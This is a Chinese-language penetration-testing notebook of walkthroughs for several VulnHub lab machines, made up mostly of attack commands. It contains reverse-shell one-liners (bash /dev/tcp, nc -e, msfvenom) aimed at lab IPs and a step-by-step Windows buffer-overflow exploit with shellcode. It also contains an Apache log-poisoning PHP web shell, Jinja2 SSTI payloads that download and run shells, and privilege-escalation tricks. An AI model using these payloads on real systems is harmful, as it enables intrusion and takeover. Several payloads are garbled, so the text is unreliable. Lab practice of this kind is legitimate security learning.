笔记40-60

/etc/init.d/networking restart

https://www.cnblogs.com/sn1per/p/11947433.html

digitalworld.local:electrical

digitalworld.local:snakeoil(jwt)

password "$pbkdf2-sha256$29000$e0/…gn9xRr9SI/RYn.CGf84r040"

"$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040"

{"users": [{"username": "patrick", "password": "$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040"}]}

registration

"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwMDg0NjM2NSwianRpIjoiYjBkZDMyZjItMjAwNi00NGQ5LThiNTgtYjgxN2M4OTllYWY2IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzAwODQ2MzY1LCJleHAiOjE3MDA4NDcyNjV9.XXGlLdWvvl3ySCybg2czOCwKL4JtMzO46o5rSHB5ifQ",

常规扫描,访问8080端口, 第三个给了个网址https://flask-jwt-extended.readthedocs.io/en/stable/options/,访问之后发现是flask和jwt的一些参数设置,暂时不知道有什么用,先放着,接着扫描目录

img

打开bp,每个目录访问一下

打开login页面,提示提交方法错误,改post提交,并且在下面输入username=admin&password=admin,提示用户不存在

来到registration在下面加上username=admin&password=admin,注册成功

再次来到login页面,adminadmin登入后,提示登陆成功,并且返回了同样的access_token,这是一个类似于登录后cookie值用来认证的一个东西

接下来访问secret提示Internal Server Error,先放着,访问run路径,也是要改成post,访问后提示要url参数

img

注意这里的请求体要用json格式,访问后提示要secret key

img

这里猜测应该还是得访问到secret页面的东西,尝试登录之后访问,那就得带上之前的access_token值进行访问,在之前给的网址中找到一个cookie中的字段access_token_cookie用来保存access_token值

img

在请求包中加上Cookie,键值对为access_token_cookie和我们上面获得的access_token值,成功得到secret_key值

img

然后再回到run页面,加上我们刚刚获得的secret_key,成功得到信息

img

拿这个开头的信息去查一下发现是curl执行的统计信息,尝试命令注入,发现成功返回信息

img

尝试使用bash和python等命令反弹shell时提示命令被ban了,尝试ls查看文件,在app.py中看到一些疑是密码的东西,且他有过滤规则

本地搭建服务器,

wget

(shell.sh

#/bin/bash

bash -i >& /dev/tcp/192.168.56.102/1234 0>&1)

chmod 777 shell.sh

./shell.sh

Star Wars CTF:1(png隐写技术,3个用户)

常规扫描,images目录下下载两个图片,

Steganography Online 在线网站

zsteg可以检测PNG和BMP图片里的隐写数据。zsteg -a

得到密码 babyYoda123,但是目前没有账号

加大后缀名扫目录,扫到users.js,有两个用户名,尝试ssh登入一下,得到han权限

http://192.168.56.113/r2d2 有一串英文字母的页面

来到home下,有3个用户,来到han下,的.scretes下,有个note.txt,提示cewl,尝试抓取一下http://192.168.56.113/r2d2 用hydra爆破,但是这边我没爆破成功;密码tatooine

来到Darth目录下,进入.scretes目录,有个.py,查看一下,提示每一分钟执行一次,权限属于Darth

import os;os.system("nc -e /bin/bash 192.168.56.102 1234")写入反弹

sudo -l nmap提权

sunset:noontide (irc端口6667)

irc介绍 https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands#USERIP 它的命令

  • IRC是Internet Relay Chat的英文缩写,中文称为互联网中继聊天,是一种网络聊天协议。

  • 端口号默认的是6667号端口

  • IRC的工作原理非常简单,您只要在自己的PC上运行客户端软件,然后通过因特网以IRC协议连接到一台IRC服务器上即可

    searchsploit unreal ircd 3.2.8.1

    选第3个

    locate /linux/remote/13853.pl 查看文件 的路劲

    /usr/share/exploitdb/exploits/linux/remote/13853.pl

    cp /usr/share/exploitdb/exploits/linux/remote/13853.pl /home/kali

    msfvenom -p cmd/unix/reverse_perl LHOST=192.168.56.102 LPORT=4000 -f raw 生成payload

    image-20231123230005035

    在第一个payload里面输入生成的payload,其它的原来的payload全删掉,记得-e后面记得加\,;后面加个\

    执行文件,反弹权限

    提权 root的密码是默认的root 这个是看writeup的,如果按照原来的要尝试挺多的

    msfconsole

    search unrealircd

    use exploit/unix/irc/unreal_ircd_3281_backdoor

    set RHOSTS 192.168.56.112

    exploit

    show options

    (set payload cmd/unix/reverse

    show options

    set lhost 192.168.56.102

    set LPORT 5555

    exploit 这个不行)

    set payload cmd/unix/reverse_perl

    show options

    set RHOSTS 192.168.56.168

    set LHOST 192.168.56.137

    exploit

dwn3(win缓冲区溢出漏洞)

nmap 常规扫描,有个6812端口和21端口

匿名登入ftp,下载dawn3.exe

file,binwalk,strings先查看一下文件

放到window7上之心一下,有一个等待连接窗口

netstat -ano 查看这台 Windows 7 开放了哪些端口 有个6812端口开放

klai nc 192.168.56.111 6812 随便输入一些东西。windows上返回,说明二者成功建立了连接

猜测有有缓冲区溢出漏洞

识别缓冲区溢出

我们可以直接通过命令行来实现这个目标。从 100 开始,逐渐增加数据量,如 200、400、600...... 直到目标程序崩溃。

python2 -c 'print "A"*600' | nc 192.168.56.111 6812

在尝试发送 600 个字符 'A' 到目标端口时,目标程序发生了崩溃。

用debug打开dawn3文件

左上角的窗口里显示的是程序汇编代码

右上角的窗口里展示的是寄存器的信息

左下交的窗口里展示的是内存信息

右下角的窗口里展示的是堆栈信息

再次输入上面的命令

可以看到在右上方的窗口上EIP 寄存器的值变为了 "41414141",这对应于 ASCII 值为 41 的字符 "A"。

现在因为我们成功地修改了 EIP 的值,所以可以确认这个程序有缓冲区溢出漏洞的存在。

定位EIP寄存器位置

因此,我们的下一步目标是确定需要输入多少个 "A" 才能溢出到 EIP 寄存器,从而修改 EIP 的值,这将影响 CPU 执行的下一条指令。 进行下一步操作之前,点击叉来关闭当前应用(或者用快捷键 Alt+F2 来关闭)

这里会用到 msf 的一个工具:msf-pattern_create ,可以用它来生成一段连续不重复的字符串

msf-pattern_create -l 600

python2 -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"' | nc 192.168.56.111 6812

发送之后,可以看到 EIP 的值变成了 "35724134",也就就是 "\x35\x72\x41\x34"

img

然后就可以用另一个工具 msf-pattern_offset 来寻找偏移量

msf-pattern_offset -q 35724134 查看偏移量工具 524

它计算偏移量为 524,这意味着从第 524 个字符开始,数据将会溢出到 EIP 寄存器中。

在 x86 架构中,采用小端字节序。这意味着低位字节存储在内存的低地址处,而高位字节存储在内存的高地址处。因此,"\x35\x72\x41\x34" 的存储顺序实际上应该是反过来的,它的值为:"\x34\x41\x72\x35"。

将这个 "\x34\x41\x72\x35" 转换为 ASCII 码,得到的是 "4Ar5"。这正好是我们使用 "msf-pattern_create -l 600" 生成的字符串的一部分。

接下来就是是确定 "4Ar5" 这段字符串从源字符串的第几个字符开始出现的。将这段字符放入文本编辑器中,选中 "4Ar5" 之前的字符,就可以发现在它之前的字符串的总长度是 524。

img

因此,我们可以尝试发送如下内容:

524 个 "A" 作为填充,以达到溢出之前的目的,加上 4 个 "B" 用来覆盖 EIP 寄存器,再加上72 个 "C" 用来填充堆栈

要注意的是,每次发送数据之前,都需要关闭 Immunity Debugger 中的 dawn3.exe 程序,并重新运行它,确保程序的正常运行。

python2 -c 'print "A"524 + "B"4 + "C"*72' | nc 192.168.56.111 6812

img

发送完成后,我们可以观察到 EIP 寄存器的值变为了 "42424242",即 "BBBB",这表明我们成功地将数据精准地溢出到了 EIP 寄存器中。

因此,我们现在成功地定位了 EIP 的位置,下一步就是测试 ESP 的容量。

测试 ESP 的容量

ESP(Extended Stack Pointer)是 x86架构中的一个寄存器,通常被用于指示栈的当前顶部。

在后续的操作中,我们将会把 Shellcode 存放在栈中。标准的 Shellcode 大小通常约为 500 个字节左右。因此,我们需要测试一下 ESP 寄存器的容量,看看是否足够容纳这 500 个字节的 Shellcode。如果程序没有崩溃,就说明可以继续进行下一步。

将 C 的数量改为 500,并发送数据到目标地址:

python2 -c 'print "A"524 + "B"4 + "C"*500' | nc 192.168.10.49 6812

500 个 C 发送过去之后,可以看到堆栈从 "28FCF0" 开始

img

从 "28FEDC" 结束

img

计算中间的字节数量

python

0x28FCF0-0x28FEDC 输出492是足够放shellcode的

查找不兼容字符(坏字符)

不同的程序存在不同的不兼容字符,我们需要找出那些不能被利用的不兼容字符,并将它们筛选出来。这样可以确保在生成 Shellcode 时不会因为这些不兼容字符的存在而导致执行异常。

举例来说,"\x00" 就是一个坏字符,在系统底层中它被视为字符串的终止符或结束标志。因此,如果 Shellcode 中包含 "\x00",就可能导致程序异常终止。

我们可以使用工具来生成所有可能的字符,然后用这些字符来进行测试。以下链接提供了一个工具,可以生成不兼容字符,用于指导编码器(如 shikata-ga-nai)将这些字符转换为其他字符:

git clone GitHub - cytopia/badchars: Bad char generator to instruct encoders such as shikata-ga-nai to transform those to other chars.

进入目录执行.badchars

执行程序之后,能看到他生成了除 "\x00" 以外的所有字符,下面就将它进我们的测试命令中,发送给目标

python2 -c 'print "A"524 + "B"4 + "生成的坏字符"' | nc 192.168.10.49 6812

发送完成后追踪 ESP 的内存位置

img

可以看到从地址 "28FCF0" 开始的 "01"、"02"、"03" 到最后的 "FF" ,并没有缺失一个字符

img

这说明目标程序并没有不兼容的字符,也就是没有坏字符("\x00" 除外)

下面就可以定位 ESP 的位置了

定位 ESP 的位置

由于 ESP 寄存器中的地址是不确定的,我们需要找到 ESP 的地址,并将它覆盖到 EIP 寄存器中。这样,当 CPU 执行到 EIP 所指向的地址时,它实际上会执行 ESP 寄存器中存储的地址。而 ESP 指向的内存位置已被我们的 Shellcode 所覆盖,因此 CPU 将会执行我们的 Shellcode。

为了找到 ESP 寄存器的地址,我们需要使用一个叫做 msf-nasm_shell 的工具。这个工具能够将汇编语言代码转换为相应的十六进制格式,以便我们在漏洞利用中使用

img

在上面的内容中,我们对 "jmp esp" 的十六进制格式进行了查询,发现它十六进制格式为 FFE4,相应的操作码为 "\xFF\xE4"。

"jmp esp" 是一个汇编指令,其作用是跳转到存储在 ESP 寄存器(栈指针)中的地址所指向的位置,也就是我们通常用来存放 Shellcode 的位置。

接下来,我们将在 "dawn3.exe" 这个程序中寻找包含 "jmp esp" 指令的位置,从而获取 ESP 寄存器所指向的位置。

需要注意的是,在寻找时我们不能直接使用 "jmp esp" 作为关键字,而是要使用其对应的操作码:"\xFF\xE4"。

此时,我们需要使用 Immunity Debugger 的名为 "mona" 的插件。默认情况下该插件是未安装的,需手动下载并安装。 将其文件中的py脚本复制到debug的pycommands文件里面,重启debug

img

img

从 Module info 这个列表中可以看出来有四种安全机制:

Rebase(重定位):重定位是一种操作系统和程序加载器的特性,允许将共享的库和可执行文件加载到内存中的不同位置,以防止地址空间的冲突。重定位可以提高系统的安全性,防止一些攻击,如基于地址的攻击。

SafeSEH(安全异常处理链表):在 Windows 操作系统中,SafeSEH 是一种保护机制,用于检测和阻止异常处理链表被利用用于漏洞利用。它可以帮助防止 SEH(Structured Exception Handling)覆盖攻击。

ASLR(地址空间布局随机化):ASLR 是一种操作系统的安全特性,通过随机化加载程序和库的内存位置,来防止攻击者预测这些位置。这可以减少缓冲区溢出和代码注入等攻击的成功率。

NXCompat(不可执行内存保护):NXCompat 是一种硬件和操作系统级别的安全特性,阻止内存中的数据被当作代码执行。这可以防止缓冲区溢出等漏洞被利用来执行恶意代码。

但这四种安全机制对于 dawn3.exe 来讲都是 False,也就是没有启用,所以我们可以继续进行操作。

确定了可以继续利用之后就可以开始找目标的 "jmp esp" 的位置了

!mona find -s "\xff\xe4" -m dawn3.exe

!mona find: 这是 Mona 工具的命令,用于执行查找操作

-s "\xff\xe4": 这是要查找的字节序列,即 jmp esp 指令的机器码。

-m dawn3.exe: 这是要在其中查找的目标可执行文件。

img

执行命令后,我们找到了一个指针的信息,可以从中看到该指针指向地址为:"0x52501513"。

现在,我们可以使用这个地址来覆盖 EIP 寄存器,从而引导 CPU 执行栈中的 Shellcode。

python2 -c 'print "<填充字符>" + "<EIP指定下一条执行命令的位置>" + "<Shellcode>"' python2 -c 'print "A"*524 + "\x13\x15\x50\x52" + "<Shellcode>"'

生成shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.111 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c

-b: 这个参数是设置一个需要被避免的字符集。在这里,"\x00" 表示空字节(NULL)

-e: 这是 payload 的编码选项。"x86/shikata_ga_nai" 是 Metasploit Framework 中的一种简单编码方式,用于绕过一些基本的字符过滤和检测机制。

-f: 这是指定生成的 payload 格式。

这个命令生成了一个大小为 351 字节的 Shellcode。考虑到堆栈空间有 492 字节,这个大小是足够的。

然而,需要注意的是,"shikata_ga_nai" 编码器会在执行代码之前生成一个用于解码的解码器,因此会占用一些字节。为了给解码器预留空间,这里使用 "\x90" 字节作为填充,确保有足够的空间供解码器使用。如果不预留空间,后续的 Shellcode 可能有部分会被覆盖,导致无法正常执行。

"\x90" 表示 NOP 指令,在汇编语言中,NOP 指令通常用作占位符或延时操作。在许多情况下 NOP 指令不会对程序的执行产生实际影响,它主要用于填充指令序列,以实现指令地址对齐或缓解特定条件。

然后就可以将生成的 Shellcode 和填充的 NOP 指令组合起来

python2 -c 'print "A"524 +"\x13\x15\x50\x52" + "\x90"10 + "shellcode" | nc 192.168.56.110 6812

数据发送之后就可以成功地收到反弹回来的 Shell。测试结束,接下来就是对靶机进行漏洞利用了。

生成linux的shellcode,成功获得立足点

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c

"\xdb\xcc\xd9\x74\x24\xf4\x58\xbf\x3b\x19\x9b\xac\x33\xc9\xb1\x12\x31\x78\x17\x03\x78\x17\x83\xfb\x1d\x79\x59\xca\xc6\x8a\x41\x7f\xba\x27\xec\x7d\xb5\x29\x40\xe7\x08\x29\x32\xbe\x22\x15\xf8\xc0\x0a\x13\xfb\xa8\x4c\x4b\xc3\x4e\x25\x8e\x34\x8f\x0e\x07\xd5\x3f\x16\x48\x47\x6c\x64\x6b\xee\x73\x47\xec\xa2\x1b\x36\xc2\x31\xb3\xae\x33\x99\x21\x46\xc5\x06\xf7\xcb\x5c\x29\x47\xe0\x93\x2a"

sunset:solstice (apache日志中毒,php文件提权)

有文件包含,尝试apach中毒

http://192.168.56.109:8593/index.php?book=../../../../../../../../../../../../../../var/log/apache2/access.log

nc 192.168.56.109 80 连接

GET <?php system($_GET[xiannv]); ?> HTTP/1.1 写入log

http://192.168.56.109:8593/index.php?book=../../../../../../../../../../../../../../var/log/apache2/access.log&xiannv=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.56.102%2F8888%20%3C%261%27 触发log

发现有个进程可以以root执行php

image-20231122205428209

echo "<?php system(‘chmod +x /usr/bin/find; chmod +s /usr/bin/find’);?>" >> index.php

find . -exec /bin/bash -p \; -quit 这个不行

nc -help 看到e参数可以用

echo "<?php system('nc 192.168.56.102 9999 -e /bin/bash'); ?>" > index.php

kali nc -nlvp 9999

靶机 curl 127.0.0.1:57(或者 nc 127.0.0.1 57 GET /index.php HTTP/1.1 )

sundown(wp插件文件包含漏洞,udf提权)

vulnhub:sundown靶机_ctostm的博客-CSDN博客

搜索一下apach日志中毒

wpscan 扫网站看 爆出一个插件,goole搜搜漏洞

WordPress 插件 WP with Spritz 1.0 - 远程文件包含

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec

WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion - PHP webapps Exploit 这边这个利用不了远程代码包含,日志文件我也没找到

读取一下/etc/passwd 发现用户carlos; hydra爆破ssh carlos carlos

枚举一下暂时没发现信息,wget下载linpeas.sh,wget没有

curl -o linpeas.sh http://192.168.56.102/linpeas.sh

我的linpeas没弄到啥,别人的有提示wordpress可写

前面枚举的时候可以来wordpress目录看看有没有wp-config文件什么有没有密码

这边的wp-config文件需要有www-data权限,用前面的文件包含读取

得到mysql的root密码

http://192.168.111.154/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../var/www/html/wordpress/wp-config.php

root:VjFSQ2IyRnNUak5pZWpCTENnPT0K

查看一下当前mysql进程的权限,是root,可以尝试以下udf提权

ps aux | grep root | grep mysql

mysql如何退出当前的使用的数据库返回到无???????

这边udf提权,如果用的msf的1518在kali上编译,到create创建函数是会报错,“file too short”,没有再尝试是否是位数问题,我就直接尝试网上的exp成功提权

CryptoBank:1 (反弹的msf如何升级,8983端口solar提权,-u参数扫描目录,-f参数hydra爆破,portfwd端口转发)

常规扫描/trade/ ,/development都是 一个登入页面,抓包,sqlmap注入(这边我的sqlmap爆数据特别慢不知道为什么)

sqlmap -r req.txt --level=3 -D cryptobank -T accounts -C username,password --dump

得到账号密码

hydra -L users.txt -P pass.txt cryptobank.local -f http-get /development (将首页发现的几个联系人也加入进去user)

用hydra对/development破解得到

-u julius.b:wJWm4CgV26

登入后就一句only for development ,想着爆破目录试试,这个扫描需要登录之后有身份验证才能扫描出来

dirb http://192.168.56.254/development/ -u julius.b:wJWm4CgV26 -u参数的使用

也可以用bp

CryptoBank靶机渗透测试

扫描到一个tools

http://192.168.44.177/development/tools/Resources/ 文件上传的地方 ,这地方我试没成功,有拦截

试试命令执行的,在用户名那边输入命令就可以执行了

但是在username直接填写nc -e /bin/bash 192.168.56.253 5555,发现返回错误:

换个思路

msfvenom -p cmd/unix/reverse_bash lhost=192.168.0.188 lport=4444 R 生成反弹shell

然后写入shell.sh文件,然后在username中输入wget shell.sh ls看上传成功没

bash shell.sh 执行文件,反弹shell到msfconsole

成功拿到的系统shell,如何升级meterpreter shell? 系统shell模样:

meterpreter shell模样:

从系统shell升级到meterpreter shell,首先,把系统shell退到后台运行 在系统shell 界面按 Ctrl + z ,然后选择 Y Background session 2? [y/N] y

然后输入命令 sessions ,查看系统shell 的session id 是1 输入升级session 命令: sessions -u 1 成功后,看到sessions中出现了meterpreter shell 用 sessions -i 2 进去就可以了。 2 为sessions 命令中 meterpreter shell 的id。

提权多种枚举没发现机会,可以尝试看看端口,上传linpeas 看到8983端口有点疑是端口转发

netstat -antp

CryptoBank靶机渗透测试

portfwd add -l 8983 -p 8983 -r 172.17.0.1 端口转发 这个是转发到127.0.0.1

solr 它是 Apache Solr。它是一个开源的企业搜索平台

search solr

image-20231109092126570

生成完整的交互

python3 script.py ip [port [command]]

后nc

python -c 'import pty; pty.spawn("/bin/sh")

sudo -l

sudo su

solr (密码)

cd /root

ls

cat flag.txt

broken(本地提权文件,定时脚本替换提权,root目录写入提权)

常规目录扫描,对cms目录深入扫描,扫描到cc目录,这个目录就是从本地拿一个文件的意思,就一个ip 一个port的输入框,我试了本地IP,等等都不行,还不停尝试sql注入,也不行

后来看提示,直接kali做服务器,输入kali的ip 和80端口,它返回缺少一个.sh文件,本地创建同名文件,写入反弹shell代码

一开始是网站权限,而且不知道密码,肯定首先想换一个权限账户,先找了一下config文件,没东西,看了一下家目录里有alice,进入发现script目录是一个满权限的文件夹

查看里面的信息后,看下log.py这个脚本,发现clear.log会每分钟开头执行一次,看源码分析,每分钟都会清理日志的意思,他会调用log.py,虽然可以利用,但是他这个脚本只能看,不能改,然而之前的script文件夹可是满权限,那么就可以让这个log.py文件改名,让我们自己写的脚本变为log.py

监听等待一分钟可以切换权限,但是我做的时候没有下面是writeup的

成功后,看到一个backup(备份)文件夹查看note.txt,大概就是告诉alice网站被黑客攻击了,让它备份到path.txt.查看path.txt啥也没有,退到根目录下(/和~不是一个目录)查看到一个backup.py的脚本没有可利用的了 ,上传本地脚本pspy64(github里有)发现一个进程,是root执行的进程。这个root下面也有一个backup.py 应该是一样的脚本,根据前面的脚本信息,把/root写入path.txt就能把root目录给复制一份

如果您检查一下,我们还有一个 path.txt 文件。阅读该注释,它让我想到一个 cron 正在运行,它正在收集文件中写入的目录,并使用 root 权限将其复制到该目录。由于挑战是读取根文件,我们这样做了

img

并等了一会儿。果然,该目录已复制到备份文件夹中,并且我们读取了根标志。

最后的提权root没操作

w1r3s(cuppa文件读取漏洞,shadow文件读取hash破解ssh)

常规扫描,ftp匿名登入 ftp交互行是加个?

mget *.txt一次下载多个文件

cat *.txt查看下载的文件 发现没什么东西

利用mysql -h xx.xx.xx.xx -u root -p 不行

目录扫描有个wordpress目录和一个自动跳转localhosts

vim/etc/hosts 将靶机ip 捆绑localhost 再访问一下没什么用

看adminstrator接口点next安装了但是进不去

Searchsploit 查一下cuppa cms 有个文件包含漏洞 cat 255971.txt

image-20231111170950375

发现不行,直接谷歌查漏洞

要利用curl查看并且后面的内容要uelencode编码

curl --data-urlencode 'urlConfig=../../../../../../../etc/passwd' http://xx.xx.xx.xx/administrator/alerts/alertConfigField.php

再尝试读一下shadow文件 筛选有hash的

直接john破解shadow.hash文件

直接ssh的登入w1r3s用户 sudo-l直接 sudo /bin/bash提权root

这个ssh还可以直接hydra破解

CengBox:1(pspy64扫描)

常规扫描爆破,

http://192.168.44.178/masteradmin/login.php登入页面 直接'or 1=1#进入,是一个文件上传的点(这边也可以用sqlmap直接暴库),用户名:masteradmin 密码:C3ng0v3R00T1!

上传都没反应,抓包看看返回,发现返回只能上传.ceng后缀的

进来后直接切换用户cengover 用上面的密码(这边也可以查看comfig文件)

常规枚举无提权点

上传pspy64烧苗

在这里插入图片描述

发现有一个固定进程 ls -la 一下

直接写入echo反弹shell 成功提权

CengBox:2(子域名扫描,大字典爆破,网站权限提权系统用户权限提权root的过程,motd提权)

Hey Kevin, I just set up your panel and used default password. Please change them before any hack.

I try to move site to new domain which name is ceng-company.vm and also I created a new area for you.

Aaron

常规扫描,有个ftp服务,直接匿名连接,下载note.txt,,提示

要访问该应用程序,我们在 /etc/hosts 文件中进行适当的更改。

我这边烧苗目录啥也没扫出来,卡住了,看writeup ,okk直接扫扫子域名,多一个知识点

gobuster vhost -u http://ceng-company.vm/ -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt 爆破子域名

wfuzz -H 'HOST: FUZZ.ceng-company.vm' -u 'http://192.168.159.181' -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --hw 76,53

我用gobuster爆破不出来,用的fuzz

/usr/share/dnsenum/dns.txt 子域名字典 dnsum带的,但是这工具也看不了结果

fuzz出来admin

将admin.xx.xx.xx加入hosts中,然后访问,时一个forbidden,在目录爆破一下,好吧 ,原来我的那些字典都扫不到

dirb http://admin.ceng-company.vm /usr/share/wordlists/dirb/big.txt -x /usr/share/wordlists/dirb/extensions_common.txt 大字典 不行啊 前面是目录字典,后面的是常用的扩展名字典

gobuster dir -u http://admin.ceng-company.vm -w/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak,zip,zip.bak 这个扫到了,cpu多干炸了快

扫到了一个gila目录,进去后提示我们是一个gilacms,它的后台登入是/admin,由于前面的note.txt提示我们密码账号是默认的,尝试一下,

账户我们需要获取 Kevin 的电子邮件地址。由于 ceng-company.vm 是主域。我们决定将它们放在一起,并获取电子邮件 ID 为“kevin@ceng-company.vm” 密码试了admin成功

来到后台 ,来到file管理,里面的config.php,输入反弹shell代码,得到www-data权限

sudo -l一下,看到

image-20231113193132669

su -u swartz /home/swartz/runphp.sh 执行文件,可以输入php反弹shell代码获得swartz的权限,(system("/bin/bash");),这个用户有用的东西不多,来到/home/mitnick下发现.ssh文件

developers组可读,本地vim一个id_rsa,连接的时候需要密码

ssh2john id_rsa > hash

john hash ----wordlist=/usr/share/wordlists/rockyou.txt 破解legend

记得chmod 400 id_rsa不然用不了

find / -type f -perm -g=rwx 2> /dev/null

发现的motd,马上想到00-heard,可以利用提权的

echo 'cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash' >> 00-header

ssh重新连接成功提权 /tmp/bash -p

还有一种 vim /etc/update-motd.d/下的00-heard,这边的可写,var下的不可写

chmod +s /bin/bash

ssh重启 /bin/bash -p

CyberSploit2(rot47解密,docker提权)

rot47 shailendra cybersploit1 ROT47解码计算器 - 计算专家

docker提权

docker pull alpine

  • docker pull此命令用于从容器注册表(例如 Docker Hub)中提取映像。

  • alpine这是您要拉取的镜像的名称。在本例中,它指的是 Alpine Linux 映像

docker run -v /:/mnt -it alpine

  • docker run该命令用于运行Docker容器。

  • -v /:/mnt此选项将主机的根目录挂载/到路径 的容器中/mnt。这意味着可以在 容器内访问主机的根目录/mnt

  • -it这些选项使容器具有交互性(-i用于交互和-t分配伪 TTY)。

  • alpine这是您要运行的 Docker 映像的名称。

因此,当您运行此命令时,它会在基于 Alpine Linux 映像的新容器中启动交互式 shell,并将主机的整个根目录挂载在/mnt容器内。

**djinn3( flaskssti漏洞(5000),py反编译,json代码利用,adduser使用 )

jason, david, freddy etc Jack

Traceback

vulnhub靶机-djinn3_custom-ers靶场-CSDN博客

flask SSTI漏洞 记得了解一下 flask默认端口是5000

https://xz.aliyun.com/t/12163#toc-7 以上结果说明ssti引擎是jinja2,网上搜集jinja2的反弹shell GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF

Flask框架(jinja2)服务端模板注入漏洞分析(SSTI) - FreeBuf网络安全行业门户

img

{{ config'RUNCMD' }}

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://192.168.44.143/perl-reverse-shell.pl;perl perl-reverse-shell.pl')|attr('read')()}}

/usr/share/webshells/perl/perl-reverse-shell.pl

{{().class.base.subclasses()[156].init.globa'builtins'('os').popen('echo "#!/bin/bash\nbash -i >&dev/tcp/192.168.44.143/6666 0>&1" > ./b.sh').read()}}

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('echo "#!/bin/bash\nbash -i >&dev/tcp/192.168.44.143/6666 0>&1" > ./b.sh')|attr('read')()}}

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('./b.sh')|attr('read')()}}

{{().class.base.subclasses()[156].init.globa'builtins'('os').popen('chmod 777 b.sh').read()}}

{{().class.base.subclasses()[156].init.globa'builtins'('os').popen('./b.sh').read()}}

把上面两个文件的内容复制下来,放在靶机的文件里进行反编译。这里有难度的就是如何复制文件的完整内容,看了大佬的内容学会了基本操作,首先复制文件的十六进制的内容

xxd .configuration.cpython-38.pyc 转16

然后把显示出的东西都复制放在kali文件里,再就是十六进制转换成二进制。

xxd -r configure.pyc >> configure1.pyc

python反编译 - 在线工具 py反编译

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('wget http://192.168.44.143/perl.pl;perl perl.pl')|attr('read')()}}

sudo find / -type f -user www-data -perm -200

{ "URL":"http://192.168.44.143/authorized_keys", "Output":"/home/saint/.ssh/authorized_keys" }

代码逻辑:

从代码中我们基本可以看出,syncer.py脚本定义了main函数入口,并且提供了三种连接类型:FTP、SSH、URL;另外调用了configuration.py中的两个方法set_config_path和read_config;分别是设置配置路径和读取配置信息。再看configuration.py脚本,set_config_path函数中,获取当前用户home目录下的所有json文件,以及/tmp目录下的所有json文件,然后合并成一个名为files的列表;当列表长度大于2的时候,设置files前两个元素的路径,然后比较当前用户home目录下的json文件名中的时间和/tmp目录下json文件名中的时间,根据比较结果返回对应的json文件。梳理清楚了代码,我们基本上知道下一步应该做什么了。 这里我们的主要目的是想办法切换到saint用户,我们可以尝试在kali上生成一对ssh密钥,然后通过上述脚本把公钥上传到saint用户的.ssh目录下面,这样就可以通过密钥免密码登录saint用户。 /opt/.web/14-11-2023.config.json .config记得要加

sudo -u root adduer www -gid=0

su www

cat /etc/sudoers

